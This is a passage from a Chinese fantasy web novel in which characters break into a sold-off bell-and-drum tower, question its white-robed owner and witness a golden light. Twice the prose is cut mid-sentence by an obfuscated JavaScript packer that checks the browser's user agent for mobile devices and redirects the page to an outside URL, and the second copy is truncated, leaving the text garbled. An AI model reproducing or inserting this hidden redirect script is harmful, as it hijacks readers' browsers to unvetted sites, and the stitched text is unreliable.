并没有什么声音传来,傅水伤却又笑道:“仙尊脾气好,怕你尴尬,没出声。” 赵得真不知她想要做什么,皱眉盯着她。 可傅水伤却直接翻了篇,又问:“你说你明日不能一起——你明日有什么事么?” 赵得真想起烦心事,便冷笑起来,一脸慊恶,“有几个男兵家属到京郊营地闹事,非说他们家男儿忠心耿耿,是被误杀了,要给他们孩子讨说法。我得去处理一下。” “那不是很好处理么?”傅水伤眨了下眼,不理解为何赵得真看起来这样烦躁,“他全家都死了,不就没有家人给他讨说法了?” 赵得真又抬头看她。她看傅水伤这句话完完全全就是认真的,便道:“……你少多管闲事。” “他们一路哭天抢地过去,带了不少看热闹的普通民众。你直接把他们杀了,所有人都看在眼里,都该以为我们为了少赔几两银子灭人满门了。” 傅水伤不过随口提个建议,不明白自己是怎么“多管闲事”了。她本有些生气,听完才明白赵得真是怕她真多管闲事,直接去悄悄杀了人——就像杀其他所有怪异死去的人一般。 ……她更生气了。 “我不过说句话——他们明天要真被我一句话说死了,我就承认全都是我杀的。” “什么第三营、京都卫军、宫中侍卫、吴小吴大,全都是我杀的。从今以后东扶死的每个人都是我杀的。” “你说你爹是我杀的我都认。” 35.白衣人 傅水伤说的时候坦坦荡荡,可第二日醒来,还是免不了要害怕真听到什么满门被灭的消息。 好在并没有。赵得真起得早一些,已自己爬上悬崖去了京郊营地。她便和叶边舟二人一起,乘马车回到京都城里。 秋日清晨一日比一日冷了,她揣着手赶着马车,等进到城里,才又想起叶边舟的法术。她便回头去问:“我们为什么不御剑?” “有马车为什么要御剑?”文武成反问,她打着哈欠,看起来是没睡好。而她说话理直气壮极了,“反正是你在赶车,又不费我们力气。御剑还要浪费灵力。” “……”傅水伤微笑着说,“仙尊,我在外面赶车有些冷。” “我又不冷。”文武成一伸手把车门关上了。 傅水伤便不住在心里与自己说自己暂且还打不过这人,等学几年法术了再好好揍她一顿。 她敲了敲车门,道:“叶仙尊?” 叶边舟便将门打开了。她用灵力控制马车,又让傅水伤也进车厢里来。轻声道:“阿成有些困,让她再睡一会儿。” 文武成已靠在叶边舟肩上睡着了。傅水伤便实在忍不住想弄出点声音来吵醒她。但这实在太幼稚,她还是忍住了。 她走进车厢,正要关门,却忽又走了出去,道:“停一下。” “怎么了?”叶边舟让马车停下,向外看了一眼。 而傅水伤已跳下马车去,走向路边墙角。那里有一棵柿子树,她看见阿阳蹲在树上,扶着树干,极紧张地盯着远处她自己家的方向。 傅水伤便以为出了什么事,把阿阳吓得连家也不敢回。她跳上去到阿阳身边,轻轻拍了拍阿阳肩膀,正要问一问发生了什么。 阿阳却立即“嘘”了一声。她紧张盯着前面,嘴里小声念叨,“一定要砸我家一定要砸我家……” 这时不远处传来“砰”的一声,一面院墙倒塌,还伴随着熟悉的话声,“抱歉抱歉,我是羽林军大统领池之澈!这是赔偿!” 傅水伤心想这场景真是眼熟。她抬眼一看,果然见须和恒盯着地面急匆匆地走着,而池之澈在她身边为她扫除一切阻碍。 又是“砰”的一声,正砸在阿阳家的院墙上。阿阳立刻欢呼雀跃,拉过傅水伤的手与她击掌,“耶”了一声,跳下去跑回家门口。 她勉强把自己快要扬到天上去的嘴角压下来,露出震惊悲伤的神色,“这是怎么回事?我的家!我不过出门片刻,怎么会这样?!” “阿阳?”池之澈回头看她。她虽没怎么和阿阳说过话,但也认得她,便将手里一把金珠给了她,“这房子住了多少年了啊?看着都该塌了。拿去买新房子吧。” 阿阳立刻接过去。她正要笑起来,却又很快压着嘴角,继续悲痛,“这可是我姐姐留给我的房子,我住了整整八年!” “噢。那真可惜。”池之澈见傅水伤走过来,便与她打了声招呼,又与阿阳说,“你不会以为这样说,我就会再多给你一把金子吧?” “之前给水伤姐那是我打不过她。打你那可太轻松了。” 阿阳回头看看傅水伤,小声抗议,“……天子脚下你就这么欺软怕硬,有没有王法了?” “王法?”池之澈与她开玩笑,“我们凌王殿下就是王法!” 她好像等了好多年,终于有机会把这话说出来装一把。说完自己先笑了,又去追走在前面的须和恒。 须和恒却又忽地停住。她原本焦急地敲着面前挡路的墙壁,看起来像是犯了什么病,全然不理外界,只一心要向前走。可她此时竟还回过头去,看了阿阳一眼,而后掏出一把金珠撒在地上,才继续去敲那面墙。 池之澈帮她把墙面打破,也回头去看阿阳,道:“殿下还真挺喜欢你的。” 她们便离开了。而阿阳看着地上到处滚落的金珠,心想自己立刻趴地上去捡的话,或许会显得很没尊严。 所以她矜持了一息,然后立刻蹲地上去捡。傅水伤帮她,她还警惕道:“殿下赏我的!” 傅水伤正要把捡来的几颗交给她,闻言便又扔了回去。她站起来看着阿阳,忽然说:“赵将军这时候应该已到了京郊营地了。” “要是我答应不收银子教人刀法,那人还敢第一天就迟到,教我等着她,我肯定再也不教了。” 阿阳一看天色,太阳都已出来了。她便匆匆忙忙拿起她把柄细弯刀,焦急往城外跑去。一边跑一边极不情愿地和傅水伤说:“你帮我捡一下,我分你一半!” 傅水伤便笑着把满地金珠子捡起来,毫不客气地分了一半揣自己怀里。一面走回到马车里。 这不过是个小插曲,并没有浪费太多时间。叶边舟依旧握剑坐着,而文武成睡得正熟。 可她们走到钟鼓楼下时,竟又看见了须和恒与池之澈。 钟鼓街中心地带人流如织,马车走得比人还要慢。她们便将马车停到了明镜府,走着过去。 而文武成走着走着便没了影。她倒真像是叶边舟所说的那种仙尊,的确是对凡人间的事没有丝毫兴趣。偶尔帮帮忙,也只不过是觉得好玩。等遇见更好玩的事了,立刻便消失。 不像叶边舟,不仅什么忙都帮,自己说想要去天照宗拜师,她甚至还主动说可以在她离开东扶时与她一起。那样子像是怕自己翻山越海遇见什么危险,准备要看顾一二。 “你在看什么?”叶边舟自然察觉到她审视的目光,便转头看她。 “你昨天也这么看我。”傅水伤笑道,“怎么我看看你就不行了?” 叶边舟又转过头去,并未理她。 她们正站在钟鼓楼下,而那楼每一道门都是锁死的,看起来根本无法进入。只有最顶上放着八面晷的那一层四面透风,九根柱子撑着房顶,并无墙壁遮挡。 “这该怎么……”傅水伤话没说完,叶边舟便已不见了。她眼睁睁看着人直接一瞬消失,只留下一句,“我进去看看”。 傅水伤更羡慕了。她想等这些破事做完了,她一定要立即马上去天照宗好好修炼,练到天下第一再没有任何人胜于她。 然后回来把东扶人通通杀光。 可她现在只能老老实实绕着钟鼓楼转圈,思索着该怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15205956|161335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么进去。她倒是能直接爬到最顶上那一层,可大庭广众的,她怕有人报官说她爬人家里偷东西,到时候给丘执玉叫来了,她们楼上楼下对着面面相觑。 而她没走几步,就看见了须和恒与池之澈。 她想这两人走得还挺快,没比她们驾马车迟来多少。她走了过去,道:“殿下?阿澈?” 那两人都没空理她。须和恒双眼发红,正用力砸着紧闭的门扇,像是急切地要走进去。而池之澈抱着她劝道:“殿下这个真不能砸!我们赔不起!” 这高楼早年间被老男皇卖给了一个富商,据说卖完之后国库存银翻了一番。真砸了恐怕危鸣晨来了也赔不起,池之澈她不敢。 傅水伤便笑着说:“砸完了对主人家说‘我们凌王殿下就是王法’,让她老实点不就行了?” “水伤姐你别说风凉话了。”池之澈头疼,“你帮我摁着殿下——或者干脆直接把她打晕好了!” 傅水伤便拔出了刀。 吓得池之澈立即摇头,“不不不!不用你帮忙了!” “让你打晕不是打死啊!” 她却推开池之澈与须和恒,直接将那门劈开了。等须和恒进去,她也跟着,一面回头对池之澈道:“我这都是为了殿下——你看殿下手都流血了。有什么事回头都让陛下来处理吧,那可是她唯一的亲妹妹。” 池之澈欲言又止。她拉过须和恒的手,见只是破了点皮,便随便擦了擦没再多管。 须和恒进来后便焦急地走来走去,无头苍蝇似的到处乱转,仿佛在找什么东西一般。而傅水伤一边观察这空荡荡一无所有的楼层,一边问:“殿下这是怎么了?” “犯病了呗。”池之澈道。她看须和恒没事,便又回头去看那扇门。那门用的名贵木材,留了扇小窗,小窗上按着整块水晶雕刻的挡风。 ——这一扇门大约抵得上十几个阿阳住的那小破房子。 她心疼了一瞬,果断想:虽然须和恒曾经是她的妹妹,但现在不是了。这是凌王殿下,危鸣晨的亲妹妹。 让危鸣晨来赔吧。 “殿下生的什么病?”傅水伤又问。她也四处看着。这楼层虽空空荡荡,但显然常有人来,到处都一尘不染,干净得像是新建出来的。 “疯病?傻病?”池之澈摇头,“不知道。反正她从小就这样,或许是天生的吧。” 而须和恒乱转着,很快找到了藏在角落里的楼梯,便匆忙地跑了上去。傅水伤和池之澈也跟上。 她在二楼到处乱转一通,又继续向上。一层一层地走过去。 这里每一层布局都完全一致,看不出丝毫差别。又全都空空荡荡,门窗紧闭。 直到放着八面晷的最后一层。 须和恒已跑得气喘吁吁,她踏上那最后一级台阶,却忽然顿住。而后像是被吓到了一般,猛地退后一步。 她险些要摔倒滚落下去,池之澈便急忙从她背后扶着她。而傅水伤也一跃几个台阶站到了她面前。 她看到八面晷旁坐了一个白衣人。而那人像是被她们惊动,正回头看过来。 36.双鱼 傅水伤一看到这人,便感觉很不舒服。 她看起来明明正值四十多岁的壮年之期,却还是瘦弱的少年身形。除了正在抽条长个的十几岁小孩儿,傅水伤就没见过这样自己一拳能打死十个的体型。甚至连十五岁的文武成看起来都要比她强壮不少。 当然她身形瘦弱或许是天生的没有办法,也或许是生了病,单这样也不至于让傅水伤皱眉。可她已然体弱至此,不想着变强壮一些就算了,她还穿着一身宽袍大袖的白色深衣,留着极长的、垂在腰间的长发,甚至戴了不少乱七八糟碍事儿的首饰——又主动给自己本就不强的身体加了一层镣铐。 傅水伤只看一眼,便已开始担心她哪天爬钟鼓楼时,要不慎踩到长长的衣摆、又或是衣袖长发勾到什么东西,便直接滚着下楼活活摔死。 她想着这些时,那白衣人已站了起来。她手中拿着一支笔,身旁许多五颜六色的墨水,面前桌上还铺着一张宣纸,像是正在作画。 而她此时将笔放下,蹙眉问道:“你们是什么人?” “你又是什么人?”池之澈拉着须和恒走了上来,站到傅水伤身边。她看那白衣人一眼,也皱着眉,警惕道,“在京都城最高处画画?画的什么?” 她好似对这人有些说不出的敌意,脸上已没了半点刚闯进来时的心虚愧疚。她伸手就去拿桌上的画作,“给我看看。” 拿到手里的却只是几张秋景,黄叶红枫占了一大半。偶尔露出屋檐一角,也并不会透漏出什么信息。 傅水伤也凑上来看了一眼。她只觉画得不错,便没了别的想法。而池之澈却还一边看着,一边在心中骂那老男皇。 也不知是把银子都花到了哪里,居然穷到将钟鼓楼都卖了。她站在此处向四周看,京都地势布局一览无余,连皇宫都看得清清楚楚。买去它的人若是间谍仠细,敌人早就连宫中哪里有颗树、哪里有棵草都知道得一清二楚了。 修这楼的男皇也是蠢猪一个。她实在想不出修建钟鼓楼能有什么好处。 “怎么了?”那白衣人又开口。她似是明白池之澈在想什么,便轻笑道,“真想要画京都地图,到处走一走也画得出来。” 池之澈扫她一眼,将那些纸放了回去。她却依旧对这人有万分警惕,再次去问:“你是什么人?为何在这里?” “我是钟鼓楼的主人,在自己家里画些画而已。”白衣人说,“是有什么问题吗?” 她看起来脾气极好,有人莫名闯入乱动她的东西,她也好似并不生气。除了一开始被几人惊动蹙了蹙眉,便一直带着淡淡的笑意。 可对面几人显然都对她没有一丝好感。须和恒看起来很怕她,池之澈去与她说话,她便在后面紧紧抓着傅水伤的胳膊。又时不时去看后面楼梯,仿佛想要立即逃走。 傅水伤便也抓着须和恒的手,又将刚刚收起的大刀拔出,小声与她说:“别怕,没事。” 而池之澈继续追问,“我记得钟鼓楼的主人是位七、八十岁的老人。你看起来最多五十。” 白衣人点头,“那是我姨母,她前些时日去世了,膝下无子,便将一切都留给了我。” “是吗?”池之澈依旧满心怀疑,“地契呢?遗物赠书呢?还有明镜府出具的你姨母死因无异、遗产正常交接的证明,你的京都留居证?” 她伸出手去,“拿给我看。” “……”白衣人似是觉得她在故意刁难,便微微蹙眉。这些东西没人会带在身上,可她看了池之澈一眼,倒真下楼去,将方才所说的全都拿了过来。 池之澈接过仔细去看。她并未看出任何问题,唯一能找的茬也只是问一问傅水伤那上面明镜府的印章是真是假。 傅水伤把四处观察的目光收回,扫了一眼,道:“是真的。” 池之澈便没话说了。 “所以你们又是谁呢?”白衣人将那些东西拿回来收好。她终于能反问回去了,便道,“又为何擅闯私宅?” “我记得我将门窗都锁上了。你们如何进来的?” “……我是羽林军大统领池之澈。”池之澈把腰牌拿给她看。她不知为何对这人很不喜欢,十分想说你这破楼我们殿下想砸就砸了你有什么意见。 但她忍住了,没给危鸣晨找事儿。她只是突然哈哈一笑,拍了拍白衣人的背,道:“你都不知道我是谁,怎么能随便把这些东西给我看呢?这可太危险了,京都城里骗子不少。” “下次注意些。” “我不给池大人看的话,池大人会以我阻碍官府办事为由,来罚我么?”白衣人也笑。 “怎么会呢?”池之澈伸手揽住她的肩膀,笑得更和蔼了,“大姐您对我们东扶朝廷命官误解很深啊。我看你来京都不足一年,一定有许多没办妥的事——有事便来找我,我特别喜欢为百姓做事。” 白衣人只是笑了下。她沉默片刻,再次追问:“池大人怎样进来的?” 池之澈:“……” 她心想自己破门而入后还对主人家一通盘问,实在是一点王法都没有。但她也只好如实去说,又道:“……回头一定给你赔偿。只是殿下还要在钟鼓楼里多待一会儿,你多担待。” 她说完这话时,须和恒终于已忍不住了。她原本时而看看楼梯想要逃走,时而盯着八面晷,像是被什么东西吸引。而后者最终是更有诱惑一些,她便拉着傅水伤,要她与自己一起走到八面晷前。而后蹲下身来,死死地盯着地板。 傅水伤牵着她一只手站着,也到处去看。可除了那白衣人让她有些说不出的不适以外,她也看不出别的什么。她想叶边舟也悄悄进来了,不知在什么地方,只希望叶边舟能找出些线索。 而她一边想着,又一边从怀里取出昨日在悬崖下找到的那枚玉牌,拿在手里看着。 池之澈正走过来,便问:“水伤姐,这是什么?” “路上捡的。”傅水伤拿着玉牌在她面前晃了晃,“这玉看着成色不错,当了或许能值不少银子。” 她与池之澈说着话,一面去看那白衣人。可那人只是往这边扫了一眼,便坐回到原来的地方,又拿起了纸笔。她看起来毫无反应,也并不认得这玉牌一般。 “噢。”池之澈同样不甚在意,只陪须和恒站着。傅水伤便捏着那玉牌翻来覆去地看。 而她还是看不出什么名堂,便觉得无聊起来了。须和恒一蹲就是好久,一动不动宛如雕塑,而池之澈像是早已习惯,站了一会儿,便直接盘腿坐在地上等着。 傅水伤牵着须和恒一只手,只能跟着站在旁边。走都走不了,她无聊得想打哈欠。 而须和恒却在此时忽地用力锤了下地面,随后突然暴躁起来,一下又一下地砸着。 几人都看向了她,池之澈率先反应过来,抓着她的手看了看新添的伤口,一面蹙眉道:“殿下,这个就别砸了吧?我们真的赔不……” 傅水伤闻言却精神起来。没等池之澈说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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午后阳光正落在钟鼓楼上,将它照得熠熠生辉。忽然便有微微的金光从水中流出,沿着砖石地缝流动,又汇聚在空中,在钟鼓楼中四处游走。 “这……” 傅水伤正要说话,余光却见其她人都全无反应,像是根本不曾看见这一景象。 她便又闭了嘴,皱起了眉。 只有须和恒与她一起抬头,又用力眨了眨酸痛的眼。金光很快散去,她便低下头来,站起身抓住池之澈的手,说:“阿澈,我们回家。” 她看起来总算是正常了一些,池之澈便要带她出去。 而傅水伤低头去看那一潭水,却还想要再停留片刻。 她好不容易找到了些或许是线索的东西,便飞速想着该找什么理由多待一会儿。她还没能想起来,却又有别的人来叫她离开。 赵得真与阿阳走了过来。门已倒在地上,她们便直接进入。而赵得真远远地就盯着傅水伤,那眼神怪异得好似傅水伤刚刚杀了她爹。 她们一进来,赵得真便直接与傅水伤说:“跟我进宫。” “干什么?”傅水伤不想走,更不想被她命令似的语气带走。她便抱着刀靠在墙上,挑眉问,“你有什么事?” 赵得真上下扫了那白衣人一眼,微微皱眉,又回头看了看门外来来往往的人群。她似乎是觉得这里人多眼杂,许多话不便直说。 于是她勉强想出了隐秘一些的说法。 她道:“你杀了我爹。”